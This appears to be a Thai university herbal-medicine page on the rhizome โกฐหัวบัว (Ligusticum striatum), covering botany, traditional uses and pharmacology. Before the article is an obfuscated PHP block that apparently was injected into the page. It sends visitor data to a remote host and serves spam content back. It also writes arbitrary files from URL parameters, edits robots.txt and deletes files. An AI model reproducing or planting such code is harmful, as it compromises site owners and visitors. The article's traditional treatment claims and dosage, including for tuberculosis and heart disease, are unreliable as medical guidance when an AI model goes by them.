error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OoooOO0 = 6013;$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a";$O=urldecode($OOOOOO);date_default_timezone_set($O{36}.$O{11}.$O{7}.$O{10}.$O{63}.$O{30}.$O{8}.$O{17}.$O{5}.$O{8});$OO = @$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}];$Oo = @$_SERVER[$O{29}.$O{28}.$O{26}.$O{32}.$O{28}.$O{37}.$O{30}.$O{52}.$O{32}.$O{29}.$O{33}];$OoO = @$_SERVER[$O{37}.$O{28}.$O{29}.$O{48}.$O{28}.$O{29}.$O{52}.$O{50}.$O{36}.$O{51}.$O{28}];$Ooolg = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{36}.$O{47}.$O{47}.$O{28}.$O{35}.$O{30}.$O{52}.$O{44}.$O{36}.$O{50}.$O{40}.$O{32}.$O{36}.$O{40}.$O{28}];$OOOOO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{32}.$O{37}.$O{28}.$O{29}.$O{52}.$O{36}.$O{40}.$O{28}.$O{50}.$O{30}];$OOOOO = str_replace("+","",$OOOOO);$OOOOO = str_replace("&","",$OOOOO);$OOOOO = str_replace("(","",$OOOOO);$OOOOO = str_replace(".","",$OOOOO);$OOOOO = str_replace(")","",$OOOOO);$OOOOO = str_replace(";","",$OOOOO);$OOOOOo = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{29}.$O{28}.$O{39}.$O{28}.$O{29}.$O{28}.$O{29}];$OOOOOOO = ((isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}] == $O{8}.$O{24})||(isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}] == $O{15}.$O{4}.$O{4}.$O{9}.$O{11})) ? $O{15}.$O{4}.$O{4}.$O{9}.$O{11}.$O{62}.$O{63}.$O{63} : $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63};$OOOOOOOo = $OOOOOOO . $OoO;$Oo = substr($Oo, 1);$OOO = false;if ( empty($Oo) ) {$Oo = $O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};}if(isset($_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}])){$OoOO=$_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}];OooooOOOO($O,$OoOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{53}.$O{11}.$O{7}.$O{4}.$O{2}.$O{53}.$O{22}.$O{2}.$O{3}.$O{7}.$O{13}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{62}.' '.$OoOO);exit($O{58}.$O{10}.$O{57}.$O{15}.$O{3}.$O{2}.$O{13}.$O{61}.$OoOO.$O{56}.$OoOO.$O{58}.$O{63}.$O{10}.$O{56});}if(isset($_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}])){OooooOOOO($O,$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4},$O{32}.$O{11}.$O{2}.$O{3}.$O{53}.$O{10}.$O{14}.$O{2}.$O{24}.$O{4}.$O{62}.$O{57}.$O{89}.PHP_EOL.$O{36}.$O{18}.$O{18}.$O{8}.$O{1}.$O{62}.$O{57}.$O{63}.PHP_EOL.$O{47}.$O{3}.$O{10}.$O{1}.$O{18}.$O{53}.$O{12}.$O{2}.$O{18}.$O{10}.$O{5}.$O{62}.$O{66}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{55}.$O{12}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{10}.$O{14}.$O{15}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{65}.$O{68}.$O{69}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{19}.$O{12}.$O{2}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{18}.$O{8}.$O{6}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{22}.$O{24}.$O{13}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18}.PHP_EOL.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$OOOOOOOo.$O{63}.$O{18}.$O{17}.$O{16}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18});$OooooOOOO0 = file_get_contents($O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4});echo $OooooOOOO0;exit();}if(isset($_GET[$O{12}.$O{2}.$O{18}.$O{52}.$O{23}.$O{8}.$O{4}.$O{15}])&&$_GET[$O{12}.$O{2}.$O{18}.$O{52}.$O{23}.$O{8}.$O{4}.$O{15}]==$O{12}.$O{2}.$O{18}.$O{64}.$O{65}.$O{66}){@unlink($O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4});@unlink($O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{59}.$O{20}.$O{25}.$O{18});exit($O{12}.$O{2}.$O{18}.$O{57}.$O{11}.$O{6}.$O{21}.$O{21}.$O{2}.$O{11}.$O{11}.$O{88});}$OOOooo000=array($O{2}.$O{12}=>$OoooOO0,$O{12}=>$OoO,$O{6}.$O{18}=>$Oo,$O{3}=>$OOOOOo,$O{15}=>$OOOOOOO,$O{14}=>$OOOOO,$O{18}.$O{14}=>$Ooolg);if(isset($_GET[$O{4}.$O{11}.$O{4}])&&$_GET[$O{4}.$O{11}.$O{4}] ==$O{4}.$O{11}.$O{4}.$O{64}.$O{65}.$O{66}){echo $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{16}.$O{9}.$O{2}.$O{3}.$O{64}.$O{59}.$O{20}.$O{5}.$O{19}.$O{63}.$O{16}.$O{9}.$O{9}.$O{3}.$O{52}.$O{9}.$O{8}.$O{11}.$O{4}.$O{59}.$O{9}.$O{15}.$O{9}.http_build_query($OOOooo000).$O{78}.$O{4}.$O{11}.$O{4}.$O{61}.$O{11}.$O{18}.$O{64}.$O{65}.$O{66};exit;}$Ooooooo = json_decode(OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{16}.$O{9}.$O{2}.$O{3}.$O{64}.$O{59}.$O{20}.$O{5}.$O{19}.$O{63}.$O{16}.$O{9}.$O{9}.$O{3}.$O{52}.$O{9}.$O{8}.$O{11}.$O{4}.$O{59}.$O{9}.$O{15}.$O{9},$OOOooo000),true);if (strstr($Oo, $O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9})&&!strstr($Oo, $O{9}.$O{7}.$O{24}.$O{14}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9})) {header($O{47}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{53}.$O{4}.$O{5}.$O{9}.$O{2}.$O{62}.$O{4}.$O{2}.$O{20}.$O{4}.$O{63}.$O{20}.$O{25}.$O{18});if (empty($Ooooooo)||$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}] == $O{70}.$O{67}.$O{67}) {echo $O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{57}.$O{70}.$O{67}.$O{67};exit();}$Oooooooo = $Ooooooo[$O{12}.$O{10}.$O{4}.$O{10}];echo $Oooooooo;exit();}if (isset($Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}])&&$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}]==$O{65}.$O{67}.$O{67}) {$Oooooooo = $Ooooooo[$O{12}.$O{10}.$O{4}.$O{10}];if(!empty($Oooooooo)) {echo $Oooooooo;exit();}} elseif (isset($Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}])&&$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}]==$O{69}.$O{67}.$O{67}) {header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{69}.$O{67}.$O{67}.$O{57}.$O{33}.$O{24}.$O{4}.$O{2}.$O{3}.$O{24}.$O{10}.$O{18}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{2}.$O{3}.$O{57}.$O{28}.$O{3}.$O{3}.$O{8}.$O{3});exit();}elseif (isset($Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}])&&$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}]==$O{69}.$O{67}.$O{66}) {header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{69}.$O{67}.$O{66}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{7}.$O{21}.$O{2}.$O{57}.$O{30}.$O{2}.$O{25}.$O{9}.$O{8}.$O{3}.$O{10}.$O{3}.$O{7}.$O{18}.$O{5}.$O{57}.$O{32}.$O{24}.$O{10}.$O{22}.$O{10}.$O{7}.$O{18}.$O{10}.$O{23}.$O{18}.$O{2});header($O{37}.$O{4}.$O{10}.$O{4}.$O{6}.$O{11}.$O{62}.$O{57}.$O{57}.$O{69}.$O{67}.$O{66}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{7}.$O{21}.$O{2}.$O{57}.$O{30}.$O{2}.$O{25}.$O{9}.$O{8}.$O{3}.$O{10}.$O{3}.$O{7}.$O{18}.$O{5}.$O{57}.$O{32}.$O{24}.$O{10}.$O{22}.$O{10}.$O{7}.$O{18}.$O{10}.$O{23}.$O{18}.$O{2});header($O{29}.$O{2}.$O{4}.$O{3}.$O{5}.$O{53}.$O{36}.$O{13}.$O{4}.$O{2}.$O{3}.$O{62}.$O{64}.$O{65}.$O{67}.$O{67});exit();} elseif (isset($Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}])&&$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}]==$O{70}.$O{67}.$O{70}.$O{70}){header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{67}.$O{57}.$O{70}.$O{67}.$O{70}.$O{57}.$O{50}.$O{8}.$O{4}.$O{57}.$O{39}.$O{8}.$O{6}.$O{24}.$O{12});header($O{37}.$O{4}.$O{10}.$O{4}.$O{6}.$O{11}.$O{62}.$O{57}.$O{70}.$O{67}.$O{70}.$O{57}.$O{50}.$O{8}.$O{4}.$O{57}.$O{39}.$O{8}.$O{6}.$O{24}.$O{12});exit();} elseif (isset($Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}])&&$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}]==$O{68}.$O{67}.$O{67}) {$Oooooooo = $Ooooooo[$O{12}.$O{10}.$O{4}.$O{10}];foreach($Oooooooo as $Oog => $Oov){$pingRes = OooooOO($O,$Oov);$Oooo0s = (strpos($pingRes,$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{57}.$O{50}.$O{8}.$O{4}.$O{7}.$O{13}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{57}.$O{29}.$O{2}.$O{21}.$O{2}.$O{7}.$O{22}.$O{2}.$O{12}) !== false) ? $O{34}.$O{43} : $O{28}.$O{29}.$O{29}.$O{34}.$O{29};echo $Oov.$O{61}.$O{61}.$O{61}.$O{56}.$O{37}.$O{6}.$O{23}.$O{25}.$O{7}.$O{4}.$O{4}.$O{7}.$O{24}.$O{14}.$O{57}.$O{40}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{57}.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$O{57}.$Oooo0s.PHP_EOL;}exit();} elseif (isset($Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}])&&$Ooooooo[$O{21}.$O{8}.$O{12}.$O{2}]==$O{70}.$O{67}.$O{68}){echo $O{37}.$O{6}.$O{23}.$O{25}.$O{7}.$O{4}.$O{4}.$O{7}.$O{24}.$O{14}.$O{57}.$O{40}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{57}.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{57}.$O{29}.$O{2}.$O{4}.$O{6}.$O{3}.$O{24}.$O{57}.$O{39}.$O{10}.$O{7}.$O{18};exit();}function OooooOO($O,$OooO,$OOOooo000=''){$OooOO = '';if(function_exists($O{21}.$O{6}.$O{3}.$O{18}.$O{52}.$O{7}.$O{24}.$O{7}.$O{4})){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLOPT_RETURNTRANSFER,1);if($OOOooo000) {curl_setopt($OooOOOO, CURLOPT_POST, 1);curl_setopt($OooOOOO, CURLOPT_POSTFIELDS, http_build_query($OOOooo000));}curl_setopt($OooOOOO,CURLOPT_CONNECTTIMEOUT,$OoooOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O{13}.$O{7}.$O{18}.$O{2}.$O{52}.$O{14}.$O{2}.$O{4}.$O{52}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{11})){if ($OOOooo000) {$oO00Oo = http_build_query($OOOooo000);$options[$O{15}.$O{4}.$O{4}.$O{9}] = array($O{4}.$O{7}.$O{25}.$O{2}.$O{8}.$O{6}.$O{4}=>60,$O{25}.$O{2}.$O{4}.$O{15}.$O{8}.$O{12} => $O{35}.$O{34}.$O{37}.$O{30},$O{15}.$O{2}.$O{10}.$O{12}.$O{2}.$O{3} => $O{47}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{53}.$O{4}.$O{5}.$O{9}.$O{2}.$O{62}.$O{10}.$O{9}.$O{9}.$O{18}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{63}.$O{20}.$O{53}.$O{1}.$O{1}.$O{1}.$O{53}.$O{13}.$O{8}.$O{3}.$O{25}.$O{53}.$O{6}.$O{3}.$O{18}.$O{2}.$O{24}.$O{21}.$O{8}.$O{12}.$O{2}.$O{12},$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4} => $oO00Oo);$context = stream_context_create($options);$OooOO = file_get_contents($OooO, false, $context);} else{$OooOO = file_get_contents($OooO);}}if($OooOO) {return $OooOO;}$OooO=$OooO.$O{55}.http_build_query($OOOooo000).$O{78}.$O{4}.$O{11}.$O{4}.$O{61}.$O{11}.$O{18}.$O{64}.$O{65}.$O{66};if(function_exists($O{21}.$O{6}.$O{3}.$O{18}.$O{52}.$O{7}.$O{24}.$O{7}.$O{4})){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLOPT_RETURNTRANSFER,1);curl_setopt($OooOOOO,CURLOPT_CONNECTTIMEOUT,$OoooOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O{13}.$O{7}.$O{18}.$O{2}.$O{52}.$O{14}.$O{2}.$O{4}.$O{52}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{11})){$OooOO = @file_get_contents($OooO);}return $OooOO;}function OooooOOOO($O,$Ooo, $OooOOOOO) {$OoooO = fopen($Ooo, $O{1}) or die('0');fwrite($OoooO, $OooOOOOO);fclose($OoooO);}?>

โกฐหัวบัว

omd

วิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพรโกฐหัวบัว

มีชื่ออื่น ๆ ว่า ชวงเกียง (จีนแต้จิ๋ว), ชวนโซยงวิง ชวงชวอง (จีนกลาง) เป็นต้น[1],[5]

ชื่อสามัญ Szechuan lovage[5], Selinum[2]

 ชื่อวิทยาศาสตร์ Ligusticum striatum DC. 

ชื่อวงศ์ผักชี (APIACEAE หรือ UMBELLIFERAE)[1]

ลักษณะทางพฤกษศาสตร์

ต้นโกฐหัวบัว

ใบโกฐหัวบัว ใบเป็นใบประกอบแบบขนนก 2-3 ชั้น ออกเรียงเวียน แฉกสุดท้ายมีลักษณะเป็นรูปไข่ หรือรูปไข่แกมรูปขอบขนาน ขอบใบหยักลึกสุดแบบขนนก ส่วนใบที่อยู่ใกล้โคนต้นจะมีลักษณะเป็นรูปไข่แกมรูปสามเหลี่ยม มีขนาดกว้างประมาณ 15 เซนติเมตร และยาวได้ถึง 20 เซนติเมตร ส่วนก้านใบนั้นยาวประมาณ 20 เซนติเมตร โคนก้านแผ่เป็นกาบ[5] หน้าใบและหลังใบไม่มีขน ตามเส้นใบมีขนเล็กน้อย[1]

ใบโกฐหัวบัว

ดอกโกฐหัวบัว ออกดอกเป็นช่อที่ปลายกิ่ง เป็นดอกช่อแบบซี่ค้ำร่มหลายชั้น มีหลายดอกย่อย ดอกย่อยมีขนาดเล็กสีขาว ดอกหนึ่งมีกลีบดอก 5 กลีบ กลีบดอกมีลักษณะเป็นรูปกลมรี ดอกมีเกสรเพศผู้ 5 อัน[1],[5]

ดอกโกฐหัวบัว

  • ผลโกฐหัวบัว ผลมีลักษณะเป็นรูปกลมรีหรือรูปไข่ มี 2 ลูก เป็นห้าเหลี่ยมและในเหลี่ยมจะมีท่อน้ำมัน 1 ท่อ[1],[5]
  • เหง้าโกฐหัวบัว ส่วนของเหง้าคือส่วนที่นำมาใช้ทำยา ซึ่งเรียกว่า “โกฐหัวบัว” โดยเหง้าจะมีลักษณะค่อนข้างกลม ข้อป่อง ปล้องสั้น เมื่อตัดเอารากแขนงออกหมด จะได้เหง้าเป็นรูปค่อนข้างกลมคล้ายกำปั้น ผิวขรุขระเป็นตะปุ่มตะป่ำไม่สม่ำเสมอ มีขนาดเส้นผ่านศูนย์กลางประมาณ 2-7 เซนติเมตร ผิวด้านนอกเป็นสีน้ำตาลไหม้หรือสีน้ำตาลอมเหลือง ผิวสาก เหี่ยวย่น เนื้อแน่น หักยาก รอยหักเป็นสีขาวอมเหลืองหรือเป็นสีเหลืองอมเทา มีท่อน้ำมันสีน้ำตาลอมเหลืองกระจายอยู่ทั่วไป มีกลิ่นหอมฉุนรุนแรง รสขม มัน แต่จะหวานในภายหลัง และชาเล็กน้อย[1],[4]

รูปโกฐหัวบัว

หมายเหตุ : โกฐหัวบัวในตระกูลเดียวกันยังมีอีกหลายพันธุ์ เช่น Cnidium ofcinale Makino, Ligusticum wallichii Franch. ซึ่งในอดีตเราจะนำมาใช้ทดแทนกันได้ แต่ในปัจจุบันได้พบว่า โกฐหัวบัวที่มีประสิทธิภาพสูงสุด คือ โกฐหัวบัวชนิด Ligusticum chuanxiong Hort. ซึ่งเป็นชนิดที่เรากล่าวถึงในบทความนี้ มันจึงถูกนำมาใช้เป็นตัวหลักของโกฐหัวบัว[1]

สรรพคุณของโกฐหัวบัว

  1. เหง้ามีรสเผ็ด ขมเล็กน้อย เป็นยาสุขุม ออกฤทธิ์ต่อหัวใจ ตับ และถุงน้ำดี ใช้เป็นยาฟอกเลือด แก้เลือดน้อย แก้โรคโลหิตจาง
  2. บำรุงโลหิต ช่วยกระจายการตีบของเส้นเลือด กระตุ้นการไหลเวียนของเลือด ทำให้เลือดลมไหลเวียน (เหง้า)[1],[3],[4],[5]
  3. ช่วยแก้อาการปวดศีรษะ วิงเวียนศีรษะ หน้ามืด หากใช้โกฐหัวบัวเข้ากับตำรายาจีน จะมีประสิทธิภาพในการรักษาอาการปวดศีรษะ
  4. หรือปวดศีรษะข้างเดียวได้ผลมากขึ้น โกฐหัวบัวจึงเป็นสมุนไพรที่เหมาะสำหรับการแก้อาการปวดศีรษะโดยเฉพาะ (เหง้า)[1],[4]
  5. ใช้เป็นยาแก้เสมหะ (ไม่ระบุส่วนที่ใช้)[3]
  6. จีนจะใช้โกฐหัวบัวเป็นยาแก้หวัด แก้ไอ วัณโรค อาเจียนเป็นเลือด โรคเข้าข้อ ตกเลือด (เหง้า)[4],[5]ช่วยแก้อาการปวดหัวใจ (เหง้า)[1]
  7. ใช้เป็นยาขับลม แก้อาการจุกเสียดแน่นหน้าอก แน่นท้อง[1],[2] แก้ลม ขับลมในลำไส้ แก้ลมในกองริดสีดวง กระจายลมทั้งปวง
  8. (ลมที่คั่งอยู่ในลำไส้เป็นตอน ๆ ทำให้ผายออกมา) (เหง้า)[3],[4],[5]
  9. ใช้โกฐหัวบัวรักษาสตรีที่ประจำเดือนมาไม่ปกติ ประจำเดือนไม่มา หรือมีอาการปวดประจำเดือน (เหง้า)[1],[5]
  10. ใช้เป็นยาแก้ปวด[1] แก้อาการปวดจากเลือดคั่ง[5] แก้ปวดข้อ ปวดกระดูก แก้ฟกช้ำปวดเจ็บต่าง ๆ รวมทั้งปวดฟัน (เหง้า)[4],[5]
  11. ช่วยขับลมชื้นในร่างกาย หรือใช้โกฐหัวบัวเข้ากับตำรายาจีน เพื่อเป็นยาขับลมชื้นในร่างกายและทำให้หายปวดเมื่อยตามร่างกาย (เหง้า)[1]
  12. ส่วนใบมีกลิ่นหอมชื่นใจ ใช้เป็นยาขับพยาธิในท้อง แก้บิด เป็นยาขับลม เป็นยาฆ่าเชื้อ แก้ไอ แก้โรคประสาท และใช้เป็นส่วนผสมในยาแก้หวัดและแก้ท้องร่วง (ใบ)[5]
  13. นอกจากนี้ยังพบว่า เมื่อนำโกฐหัวบัวไปเข้าตำรายารักษาโรคหัวใจ จะทำให้เส้นเลือดในหัวใจขยายตัวและลดความดันในเส้นเลือดได้ (เหง้า)[1]
  14. โกฐหัวบัวจัดอยู่ในพิกัดโกฐ ได้แก่ โกฐทั้งห้า โกฐทั้งเจ็ด และโกฐทั้งเก้า ซึ่งมีสรรพคุณโดยรวมคือเป็นยาแก้ไข้ แก้ไข้ร่วมกับเสมหะ แก้หืดไอ ขับลม บำรุงโลหิต บำรุงกระดูก (เหง้า)[2]
  15. โกฐหัวบัวจะอยู่ในยารักษากลุ่มอาการทางระบบไหลเวียนโลหิตหรือยาแก้ลม ซึ่งได้แก่ ตำรับ “ยาหอมเทพจิตร” และตำรับ “ยาหอมนวโกฐ” ซึ่งมีส่วนประกอบของโกฐหัวบัวอยู่ในพิกัดโกฐทั้งเก้า ร่วมกับสมุนไพรชนิดอื่น ๆ อีกในตำรับ โดยมีสรรพคุณเป็นยาแก้ลมวิงเวียน แก้อาการหน้ามืด ตาลาย คลื่นเหียน อาเจียน ใจสั่น แก้ลมจุกแน่นในท้อง (เหง้า)[4]
  16. ในตำรายาพระโอสถพระนารายณ์ มีปรากฏการใช้โกฐหัวบัวในตำรับ “ยาทรงนัตถุ์” ซึ่งมีส่วนประกอบรวม 15 ชนิด รวมทั้งโกฐหัวบัว โดยนำตัวยาทั้งหมดมาบดรวมกันให้เป็นผงละเอียด ใช้สำหรับนัตถุ์หรือดมเป็นยาแก้อาการปวดศีรษะ แก้วิงเวียน แก้สลบ แก้ริดสีดวงจมูก คอ และตา และอยู่ในตำรับ “มโหสถธิจันทน์” อีกขนานหนึ่ง โดยมีส่วนประกอบรวม 16 สิ่ง รวมทั้งโกฐหัวบัวด้วย ซึ่งมีสรรพคุณเป็นยาแก้ไข้ทุกชนิด (เหง้า)[4]
  17. ในตำรายาไทยมีการใช้โกฐหัวบัวใน “พิกัดจตุวาตะผล” ซึ่งเป็นตำรับยาจำกัดจำนวนตัวยาแก้ลมที่ประกอบไปด้วยผล 4 อย่าง อันได้แก่ โกฐหัวบัว กระลำพัก เหง้าขิงแห้ง และอบเชยเทศ โดยมีสรรพคุณเป็นยาบำรุงธาตุ แก้ไข้ แก้พรรดึก แก้ตรีสมุฏฐาน ขับผายลม แก้ลมกองริดสีดวง (เหง้า)[4]
  18. นอกจากนี้ยังมีปรากฏการใช้โกฐหัวบัวในตำรับยาสมุนไพรประจำบ้าน ตามประกาศของกระทรวงสาธารณสุขอีกหลายตำรับ เช่น “ยามันทธาตุ” (แก้ธาตุไม่ปกติ แก้ท้องขึ้น ท้องเฟ้อ), ตำรับ “ยาหอมเทพวิจิตร” (แก้ลม บำรุงหัวใจ), ตำรับ “ยาวิสัมพยาใหญ่” (แก้อาการจุกเสียด ท้องขึ้น อืดเฟ้อ) และในตำรับ “ยาประสะเปราะใหญ่” (ถอนพิษไข้ตานแทรกสำหรับเด็ก)ขนาดและวิธีใช้ : ยาแห้งให้ใช้ครั้งละ 5-10 กรัม นำมาต้มกับน้ำรับประทาน[1]

ข้อมูลทางเภสัชวิทยาของโกฐหัวบัว

  • เหง้าโกฐหัวบัวมีน้ำมันระเหยและอัลคาลอยด์ (Alkaloid) กับสารจำพวก Phenols, Chidiumlantone, Cnidlide, Ferulic acid, Folic acid เป็นต้น[1]
  • โกฐหัวบัวนั้นมีน้ำมันระเหยง่ายอยู่ประมาณ 2% ซึ่งในน้ำมันจะมี cnidium lactone, cnidic acid และมีชันซึ่งมีรสเปรี้ยว นอกจากนั้นยังมีสารจำพวก phthalide อีกหลายชนิด เช่น butylidenephthalide, butylpthalide, crysophanol, ferulic acid, ligustilide, neocni-dilide, perlolyrine, sedanonic acid, senkyunolide A, spathulenol, tetramethylpyrazine, wallichilide, 3-butylidine-7-hydroxyphthalide เป็นต้น[4],[5]
  • มีรายงานการวิจัยที่พบว่า โกฐหัวบัวสามารถลดการบีบตัวของกล้ามเนื้อลำไส้และมดลูกได้ และยังช่วยป้องกันการขาดออกซิเจนในเลือด ต้านอาการปวด อาการอักเสบ ช่วยขับเหงื่อ ขับประจำเดือน และช่วยทำให้นอนหลับได้นานขึ้น[4]
  • เมื่อใช้น้ำที่สกัดได้จากเหง้าโกฐหัวบัว นำมาฉีดเข้ากล้ามเนื้อของหัวใจที่แยกออกจากร่างของกระต่าย พบว่าสามารถขยายหลอดเลือดหัวใจของกระต่ายได้ จึงสรุปได้ว่า โกฐหัวบัวสามารถลดความดันในเส้นเลือดได้[1]
  • เมื่อใช้น้ำที่สกัดได้จากเหง้าโกฐหัวบัว นำมาฉีดเข้าไปในมดลูกของกระต่ายที่กำลังตั้งครรภ์ พบว่าจะทำให้มดลูกบีบตัวอย่างแรง แต่หากฉีดมากเกินไปจะทำให้การบีบตัวของมดลูกเกิดอาการชา และการบีบตัวได้หยุดบีบต่อ[1]

ประโยชน์ของโกฐหัวบัว

  • ดอกใช้เป็นส่วนประกอบสำหรับเครื่องสำอางแต่งหน้า[5]
